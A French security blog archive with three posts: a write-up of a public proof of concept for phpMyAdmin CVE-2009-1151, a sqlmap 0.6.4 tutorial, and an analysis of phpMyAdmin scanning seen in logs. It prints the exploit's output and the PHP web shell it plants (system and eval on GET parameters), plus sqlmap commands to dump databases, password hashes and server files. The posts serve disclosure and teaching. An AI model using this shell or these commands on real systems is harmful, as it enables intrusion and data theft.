Tag Archives: Database

POC PHPMyAdminRCE.sh CVE-2009-1151

Adrian Pastor membre de Gnucitizen a rendu public un POC (Proof Of Concept) pour la vulnérabilité CVE-2009-1151 de phpMyAdmin.

Cette vulnérabilité, identifiée sous l’ID PMASA-2009-3 chez le fournisseur phpMyAdmin, a été dévoilée le 24 Mars de cette année. Un internaute malveillant pourrait, de façon distante, par le biais de cette vulnérabilité compromettre un système. De l’injection de code dans le script “scripts/setup.php” peut permettre la modification du fichier “config.inc.php”, afin d’y ajouter du code PHP aléatoire.

Cette vulnérabilité affecte toutes les versions de phpMyAdmin antérieure à la version 2.11.9.5 et 3.1.3.1. La mise à jour vers la version 2.11.9.5 ou 3.1.3.1 corrige cette vulnérabilité.

Le POC de Gnucitizen, ne fonctionne que pour les versions 2.11.4, 2.11.7, 2.11.7.1, 2.11.9.3, 2.11.9.4, 3.0.0 et 3.0.1.1 de phpMyAdmin, et si l’installation a été effectuée en utilisant l’interface d’installation de phpMyAdmin “scripts/setup.php”. De plus, afin d’être exploitée, cette vulnérabilité requiert que l’administrateur n’est pas supprimé le répertoire “config/” présent dans phpMyAdmin. Ce répertoire “config/” doit être accessible en écriture par le démon HTTP.

De plus, si le nom de la session “phpMyAdmin”, configurée par défaut, a été changée, le POC ne fonctionnera pas aussi.

Quoi qu’il en reste, ce script bash n’est qu’un POC, et il est certain que des versions plus élaborées et robotisées verront le jour d’ici peu.

Il est aussi à noter que ce POC peut aussi s’appliquer à la vulnérabilité CVE-2009-1285.

Ci-dessous le fichier de configuration type de phpMyAdmin.

[xxxxx@xxxxx config]# cat config.inc.php
<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:52:48 GMT
*/

/* Servers configuration */
######i = 0;

/* Server localhost (cookie) [1] */
######i++;
######cfg['Servers'][$i]['host'] = 'localhost';
######cfg['Servers'][$i]['extension'] = 'mysql';
######cfg['Servers'][$i]['port'] = '3306';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'cookie';

/* End of servers configuration */

######cfg['blowfish_secret'] = '4a30e1f84afb18.56788245';
?>

Résultat lorsque la tentative d’exploitation est OK.

[xxxxx@xxxxx exploits]# ./phpmyadminrcesh.txt http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english
[+] checking if phpMyAdmin exists on URL provided ...
[+] phpMyAdmin cookie and form token received successfully. Good!
[+] attempting to inject phpinfo() ...
[+] success! phpinfo() injected successfully! output saved on /tmp/phpmyadminrcesh.txt.14594.phpinfo.flag.html
[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?c=ls+-l+/
http://www.xxxxx.xxxx/phpMyAdmin-2.11.9.4-english/config/config.inc.php?p=phpinfo();
please send any feedback/improvements for this script to unknown.pentester<AT_sign__here>gmail.com

Fichier de configuration config.inc.php modifié après exploitation.

<?php
/*
* Generated configuration file
* Generated by: phpMyAdmin 2.11.9.4 setup script by Michal ÄihaÅ <[email protected]>
* Version: ######Id: setup.php 11423 2008-07-24 17:26:05Z lem9 $
* Date: Thu, 11 Jun 2009 10:54:21 GMT
*/

/* Servers configuration */
######i = 0;

/* Server  (config:root) [1] */
######i++;
######cfg['Servers'][$i]['host']='

';
if($_GET['c']){
echo '<pre>';
system($_GET['c']);
echo '</pre>';
}

if($_GET['p']){
echo '<pre>';
eval($_GET['p']);
echo '</pre>';
};

//'] = 'localhost';

######cfg['Servers'][$i]['extension'] = 'mysqli';
######cfg['Servers'][$i]['connect_type'] = 'tcp';
######cfg['Servers'][$i]['compress'] = false;
######cfg['Servers'][$i]['auth_type'] = 'config';
######cfg['Servers'][$i]['user'] = 'root';

/* End of servers configuration */

?>

Sqlmap outil d’injection SQL automatique

SQLMap 0.6.4 est un outil open source d’injections automatiques de requêtes SQL. Cet outil détecte et exploite les vulnérabilités du type injection SQL sur les applications web. Si une, ou plusieurs, vulnérabilités du type injection SQL sont détectées sur le serveur cible, l’utilisateur pourra sélectionner différentes options dont deviner le type et la version de la base de donnée cible, récupérer la session de l’utilisateur en cours, énumérer les utilisateurs, les hash des mots de passe, les privilèges des utilisateurs, les bases de données hébergées, ou récupérer la base de donnée complète, etc.

SQLMap supporte MySQL, Oracle, PostgreSQL, Microsoft SQL, mais peut aussi identifier les bases de données du type Microsoft Access, DB2, Informix, Sybase et Interbase.

Cette analyse ne porte que sur la version 0.6.4. Une nouvelle version 0.7 est actuellement en cours de développement et celle-ci sera étudiée dès qu’elle sortira en version stable.

  • Choisir son type de cible

SQLMap propose de cibler une URL précise par le biais de l’option “-u” (-u URL).

python sqlmap.py -u http://localhost/index.php?id=1

Il est aussi possible de cibler des URL par le biais des logs générés par les proxy d’interception WebScarab ou Burp.

python sqlmap.py -l LIST

Il est possible d’utiliser SQLMap en chargeant un fichier de configuration spécifique, par défaut celui-ci se nomme “sqlmap.conf“.

python sqlmap.py -c CONFIGFILE

Mais une des options la plus intéressante est le “GOOGLEDORK” permettant la recherche de URL cible par le biais de Google.

python sqlmap.py -g "site:zataz.com ext:php"

  • Effectuer un fingerprint du type de base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -f

  • Récupérer la bannière de la base de donnée

python sqlmap.py -u http://localhost/index.php?id=1 -b

  • Retrouver l’utilisateur SQL qui exécute le script vulnérable

python sqlmap.py -u http://localhost/index.php?id=1 --current-user

  • Retrouver la base de donnée en cours d’utilisation

python sqlmap.py -u http://localhost/index.php?id=1 --current-db

  • Détecter si l’utilisateur SQL qui exécute le script est un utilisateur administrateur

python sqlmap.py -u http://localhost/index.php?id=1 --is-dba

Ci dessous les résultats avec l’utilisateur MySQL “sqlinjection” qui n’a que les droits SELECT sur la base de donnée “sqlinjection“.

Ci dessous les résultats avec l’utilisateur MySQL “root” qui a tous les droits sur toutes les bases de données.

  • Retrouver la liste complète des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --users

Ne fonctionne que si l’utilisateur SQL a les droits de création d’autres utilisateurs SQL, par exemple l’utilisateur root MySQL.

  • Retrouver les hash des mots de passe des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --passwords

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier. Bien sûr cette fonctionnalité n’est possible que si l’utilisateur SQL a les droits de gestion des utilisateurs.

  • Retrouver les droits des utilisateurs SQL

python sqlmap.py -u http://localhost/index.php?id=1 --privileges

Si l’option “-U” est spécifiée, il est possible de cibler un utilisateur SQL en particulier.

  • Retrouver la liste des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --dbs

Ci-dessous les bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Ci-dessous les bases de données lorsque l’utilisateur SQL visé est un utilisateur administratif.

  • Retrouver la liste des tables des bases de données visibles par l’utilisateur MySQL

python sqlmap.py -u http://localhost/index.php?id=1 --tables

Ci-dessous les tables des bases de données retrouvées par le biais de l’utilisateur MySQL “sqlinjection

Il est possible de cibler une base de donnée spécifique avec l’option “-D“.

python sqlmap.py -u http://localhost/index.php?id=1 --tables -D sqlinjection

Il est aussi possible d’exclure les bases de données systèmes et administratives par le biais de l’option “–exclude-sysdbs

python sqlmap.py -u http://localhost/index.php?id=1 --tables --exclude-sysdbs

  • Retrouver la structure d’une table d’une base de données

python sqlmap.py -u http://localhost/test1.php?id=1 --columns -D sqlinjection -T sqlinjection

L’option “-D” permet de spécifier la base de donnée concernée, et l’option “-T” permet de spécifier la table concernée.

  • Récupérer le contenu des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection

Toutes les données récupérées sont sauvegarder dans un fichier excel, que l’on peut analyser de part la suite localement.

Il est possible de filtrer le champ spécifique que l’on désire récupérer par le biais de l’option “-C“.

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret

Il est aussi possible de récupérer qu’un certain nombre de résultats lors du DUMP de la base de la table par le biais des options “–start” et “–stop

python sqlmap.py -u http://localhost/test1.php?id=1 --dump -D sqlinjection -T sqlinjection -C secret --start 1 --stop 1

  • Récupérer le contenu entier des bases de données

python sqlmap.py -u http://localhost/test1.php?id=1 --dump-all

  • Exécuter des requêtes SQL spécifiques

L’option “–sql-query” va vous permettre d’exécuter des requêtes SQL spécifiques, comme le montre l’exemple ci-dessous :

python sqlmap.py -u http://localhost/test1.php?id=1 --sql-query="SELECT secret from sqlinjection" -D sqlinjection

Deux questions vous seront posées lors de l’exécution de la requête SQL. La première vous demandera si le résultat pourra retourner plusieurs entrées ou non, la deuxième question vous demandera si vous désirez retournez tous les résultats ou une sélection de votre choix.

  • Lire un fichier aléatoire sur le système par le biais de MySQL.

L’option “–read-file” permet à sqlmap, uniquement pour MySQL en version 0.6.4 de sqlmap, de charger un fichier aléatoire présent sur le système de fichier du serveur cible. Cette récupération n’est possible que si l’utilisateur MySQL en cours a le privilège “FILE“. Il faut que le fichier cible ai les droits de lecture pour tous, ou que l’utilisateur système MySQL y ai accès.

Dans l’exemple ci-dessous, nous avons créé un fichier test.txt contenant la séquence “passwd = toto” et situé à la racine du serveur web.

python sqlmap.py -u http://localhost/test1.php?id=1 --read-file=/Library/WebServer/Documents/test.txt

Tentative d’attaque ciblée sur PHPMyAdmin, un 0day ?

En effectuant l’analyse journalière des tentatives d’attaques à l’encontre de l’infrastructure ZATAZ, Nous avons pu remarquer des tentatives qui sortent de la normale.

En l’espace de 7 minutes, de 2008-12-29 13:13:02 à 2008-12-29 13:20:26, près de 207 alertes ont été générées pour l’adresse IP 220.182.54.89, située en Chine.

Toutes ces alertes ont des points communs :

  • Attaques sur une adresse IP et non sur un domaine.
  • Attaques spécifique sur le port 80.
  • Attaques visants des répertoires ayant tous une relation avec phpMyAdmin.
  • Le User Agent est celui de l’outil “revolt” dédié à la découverte d’installation de phpMyAdmin.

Après avoir observé les dernières alertes et autres exploits phpMyAdmin, il ne parraît pas exister de vulnérabilité majeure (autre que XSS) pouvant prétexter de tels attaques. Serait-ce un pirate en cours de test d’un outil et qui prendrait ZATAZ comme cible spécifique ? Ou alors d’une tentative plus large de découverte d’installation de phpMyAdmin pouvant alors éventuellement supposé qu’un 0day phpMyAdmin serait existant.

Si vous avez des traces du même type n’hésitez pas à nous en faire part.